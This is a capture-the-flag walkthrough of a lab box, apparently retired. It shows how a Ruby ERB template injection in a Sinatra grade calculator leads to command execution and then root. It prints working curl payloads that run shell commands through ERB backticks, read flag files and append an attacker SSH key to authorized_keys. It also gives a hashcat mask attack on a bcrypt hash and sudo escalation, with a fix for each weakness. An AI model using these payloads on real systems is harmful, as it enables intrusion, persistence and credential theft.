← all walkthroughs

Perfection

Linux· Easy· Web
owned
2026-07-07
time to own
7m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a weighted grade calculator on an nginx-proxied Ruby Sinatra web application that rendered user-submitted category names through Ruby's ERB template engine without sanitization. Injecting a newline character followed by an ERB expression tag into the POST parameter caused the template engine to evaluate arbitrary Ruby code, confirming server-side template injection.

Escalating to ERB backtick syntax gave full OS command execution running as the susan OS user — whose account both owned the web process and held unrestricted sudo rights on the host. The user flag was read directly from disk via the unauthenticated HTTP endpoint; then I-generated SSH public key was written into susan's authorized_keys through the same code-execution channel, converting a web exploit into a persistent interactive shell.

From that shell, a SQLite credential database in susan's home directory yielded her bcrypt-hashed password, and a plaintext administrative email in her system mailbox revealed the exact password construction rule — a fixed prefix followed by nine decimal digits — collapsing the keyspace to one billion candidates. A hashcat mask attack recovered the plaintext password in minutes; authenticating sudo with it gave a root shell and completed full host compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1ReconNetwork port and service enumeration (T1046)
Mapped exposed services with a port scan
A full TCP service scan against $TARGET identified exactly two open ports: OpenSSH 8.9p1 on port 22 and an nginx HTTP server on port 80. No other services were reachable, limiting the entire external attack surface to the web application and SSH.
Exact commands 1
Full TCP scan with service version detection; identifies SSH 22 and nginx 80.
nmap -sV -p- --open -T4 $TARGET
2EnumerationWeb content discovery and server technology fingerprinting (T1595.003)
Discovered the grade calculator endpoint and fingerprinted the Ruby ERB backend
Browsing the nginx root returned a static page with no obvious injection points. Content discovery revealed the /weighted-grade-calc endpoint hosting an interactive form. Requesting a nonexistent path triggered a Sinatra error page whose body referenced an image at http://127.0.0.1:3000/__sinatra__/404.png, confirming a Ruby Sinatra/WEBrick application running on the loopback — and, critically, that the application used ERB for template rendering.
Exact commands 3
Check the root page and HTTP response headers for technology hints.
curl -sS -i http://$TARGET/
Directory brute-force to discover /weighted-grade-calc.
gobuster dir -u http://$TARGET/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 30
Trigger the Sinatra 404 page to confirm the ERB-capable Ruby backend.
curl -sS http://$TARGET/nonexistent-path
3Vulnerability IdentificationServer-Side Template Injection — Ruby ERB (CWE-94)
Confirmed server-side template injection in the grade calculator category field
The /weighted-grade-calc endpoint accepted five POST parameters, each supplying a category name that was rendered into the HTML response. The application embedded those names in an ERB template without stripping or escaping special characters. Injecting a literal newline followed by an ERB expression tag (<%=7*7%>) into the category1 parameter caused the expression to evaluate: the server returned 49 in the response body, proving that my own Ruby code was being executed inside the template engine.
Exact commands 1
The bash $'...' quoting embeds a real newline before the ERB tag. '49' in the response confirms template injection.
curl -sS -X POST "http://$TARGET/weighted-grade-calc" --data-urlencode $'category1=Art\n<%=7*7%>' -d 'grade1=1' -d 'weight1=100' -d 'category2=B' -d 'grade2=1' -d 'weight2=0' -d 'category3=C' -d 'grade3=1' -d 'weight3=0' -d 'category4=D' -d 'grade4=1' -d 'weight4=0' -d 'category5=E' -d 'grade5=1' -d 'weight5=0'
FixSanitize all user input before it reaches the ERB template engineCritical
WeaknessThe grade calculator embedded raw POST parameter values directly into an ERB template. An unauthorised user could append a newline and an ERB expression or backtick command to any category name, causing the Ruby runtime to evaluate arbitrary code and return the output over an unauthenticated HTTP endpoint.
FixValidate category names against a strict server-side allowlist (e.g., /\A[a-zA-Z0-9 ]{1,50}\z/) and reject any input containing newlines, angle brackets, or percent signs before the value is used in a template. Never interpolate raw user input into ERB string templates; use html_escape or ERB::Util.html_escape for display output. Consider migrating to a logic-less template engine (e.g., Mustache) that cannot evaluate expressions by design, eliminating the entire class of SSTI risk.
4ExploitationServer-Side Template Injection to OS command execution via ERB backtick (T1059.004)
Escalated template injection to OS command execution and captured the user flag
ERB's backtick syntax spawns a subshell and interpolates its stdout into the template output. Replacing the arithmetic expression with a backtick-wrapped shell command caused the Sinatra process to run arbitrary OS commands and return their output over HTTP — no authentication required. The user flag was read directly from disk with a single unauthenticated POST request. A follow-up payload executing id confirmed the web process ran as susan (uid 1001), who was also a member of the sudo group.
Kill chain command returned the user flag from cat /home/susan/user.txt; id output confirmed uid=1001(susan) groups=1001(susan),27(sudo).
Exact commands 2
Returns <user.txt>.
curl -sS --max-time 8 -X POST "http://$TARGET/weighted-grade-calc" --data-urlencode $'category1=Art\n<%= `cat /home/susan/user.txt 2>/dev/null` %>' -d 'grade1=1' -d 'weight1=20' -d 'category2=B' -d 'grade2=1' -d 'weight2=20' -d 'category3=C' -d 'grade3=1' -d 'weight3=20' -d 'category4=D' -d 'grade4=1' -d 'weight4=20' -d 'category5=E' -d 'grade5=1' -d 'weight5=20' | grep -Eo '[a-fA-F0-9]{32}'
Confirm the effective OS user and sudo group membership before proceeding.
curl -sS --max-time 8 -X POST "http://$TARGET/weighted-grade-calc" --data-urlencode $'category1=Art\n<%= `id; whoami; groups` %>' -d 'grade1=1' -d 'weight1=20' -d 'category2=B' -d 'grade2=1' -d 'weight2=20' -d 'category3=C' -d 'grade3=1' -d 'weight3=20' -d 'category4=D' -d 'grade4=1' -d 'weight4=20' -d 'category5=E' -d 'grade5=1' -d 'weight5=20'
5FootholdSSH authorized_keys file manipulation via RCE (T1098.004)
Established persistent SSH access by injecting my own public key via RCE
Because the web process ran as the real OS user susan, it had write access to susan's home directory. I generated an SSH ed25519 key pair on the attacking machine and used the same ERB RCE channel to create the .ssh directory, set correct permissions, and append the public key to authorized_keys — all in a single chained shell command delivered over HTTP. This converted the unauthenticated web exploit into a stable, interactive SSH session without requiring susan's password.
Exact commands 3
Generate a throwaway keypair on the $USERNAME machine.
ssh-keygen -t ed25519 -N '' -f /tmp/perfection_key
Expand the public key locally and push it into authorized_keys via the ERB RCE channel.
pub=$(cat /tmp/perfection_key.pub) && curl -sS -X POST "http://$TARGET/weighted-grade-calc" --data-urlencode "category1=Art\n<%= \`mkdir -p /home/susan/.ssh && echo '$pub' >> /home/susan/.ssh/authorized_keys && chmod 700 /home/susan/.ssh && chmod 600 /home/susan/.ssh/authorized_keys\` %>" -d 'grade1=1' -d 'weight1=20' -d 'category2=B' -d 'grade2=1' -d 'weight2=20' -d 'category3=C' -d 'grade3=1' -d 'weight3=20' -d 'category4=D' -d 'grade4=1' -d 'weight4=20' -d 'category5=E' -d 'grade5=1' -d 'weight5=20'
Open an interactive shell as susan using the injected key.
ssh -i /tmp/perfection_key susan@$TARGET
FixRun the web application as a dedicated service account with no interactive home directoryHigh
WeaknessThe Sinatra process ran as susan — a real human login account with a home directory, SSH access, and sudo rights. Any code execution obtained through the web layer immediately had the full OS privileges of that user, including the ability to write files to her home directory and hijack her SSH session.
FixCreate a dedicated system account (e.g., sinatra-svc) with no home directory (--no-create-home), a non-login shell (/usr/sbin/nologin), and no sudo entry. Configure the systemd unit for the Sinatra service to run under User=sinatra-svc. Ensure that service account has no read access to /home/susan or any other user home directory. This contains a web compromise to a low-privilege service identity.
6Local EnumerationCredential discovery in local files (T1552.001)
Located susan's bcrypt hash in a SQLite database and found a cracking hint in her mailbox
Enumeration of the SSH session revealed a Migration directory in susan's home folder containing pupilpath_credentials.db, a SQLite database storing bcrypt-hashed passwords for application users including susan herself. The system mailbox at /var/mail/susan held an administrative message that stated the required password format explicitly: every password followed the pattern '[REDACTED: recovered credential]' followed by exactly nine decimal digits. This reduced the effective search space to one billion candidates, well within reach of a hashcat mask attack against bcrypt.
Exact commands 2
Dump all rows from the credentials table; note the bcrypt hash for susan.
sqlite3 /home/susan/Migration/pupilpath_credentials.db "SELECT * FROM users;"
Read the administrative email; reveals the password format '[REDACTED: recovered credential]' + 9 digits.
cat /var/mail/susan
FixSecure credential storage and eliminate predictable password patternsHigh
WeaknessSusan's bcrypt password hash was stored in a SQLite database inside her own home directory, readable by any process running as her (including the web app). A plaintext administrative email in her system mailbox disclosed the exact password construction rule — a fixed prefix plus nine decimal digits — reducing the effective entropy to about 30 bits and making the hash crackable in minutes with a targeted mask.
FixMove application credential databases outside all user home directories (e.g., /var/lib/pupilpath/) and restrict them to the dedicated service account (chmod 600, chown sinatra-svc). Delete or redact any messages, documentation, or configuration files that reveal password structure. Enforce a password policy requiring at least 16 truly random characters with no predictable prefix or structure. Where possible, replace password-hash storage with a dedicated identity provider or secrets manager.
7Privilege EscalationPassword hash cracking + unrestricted sudo abuse (T1110.002 / T1548.003)
Cracked the bcrypt hash with a targeted hashcat mask and obtained a root shell via sudo
The password-format hint from the mailbox constrained the keyspace to exactly 10^9 candidates. A hashcat mask attack using the pattern [REDACTED: recovered credential]?d?d?d?d?d?d?d?d?d recovered the plaintext password within minutes. Susan's account carried an unrestricted sudo entry — confirmed by sudo -l — so authenticating sudo with the cracked password immediately dropped into a root shell. The root flag was read from /root/root.txt, completing full host compromise.
Exact commands 4
Save the bcrypt hash extracted from the SQLite DB; replace the placeholder with the exact hash string.
echo '$2a$12$<paste_full_hash_here>' > /tmp/susan.hash
Mask attack against bcrypt (mode 3200). Recovers the password in minutes given the constrained format.
hashcat -m 3200 /tmp/susan.hash -a 3 "$PASSWORD?d?d?d?d?d?d?d?d?d"
From the SSH session as susan; enter the cracked password when prompted. Produces a root shell.
sudo -i
Read the root flag: <root.txt>.
cat /root/root.txt
FixRemove unrestricted sudo privileges from the web application user accountCritical
WeaknessSusan's account — which was also the web application's runtime identity — held a full unrestricted sudo entry on the host. Once her password was recovered, a single sudo command escalated an unauthorised user to root with no further barriers. Granting broad sudo rights to any account reachable through a web vulnerability creates a one-step path to full system takeover.
FixAudit all sudoers configuration files (sudo visudo, /etc/sudoers.d/*) and remove any ALL=(ALL) or ALL=(ALL:ALL) entries for susan or any web-facing service account. If specific administrative tasks genuinely require elevated rights, scope them to the minimum necessary command (e.g., NOPASSWD: /usr/bin/systemctl restart pupilpath) rather than blanket ALL. Apply the principle of least privilege: an account that can be reached through a web application should have no sudo entry.

Attack patterns used

The transferable techniques behind this compromise.

Server-Side Template InjectionWebT1190

What it is

When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), an unauthorised user can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.

Why it works

The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.

Read more

Exposed services

22/tcp
80/tcp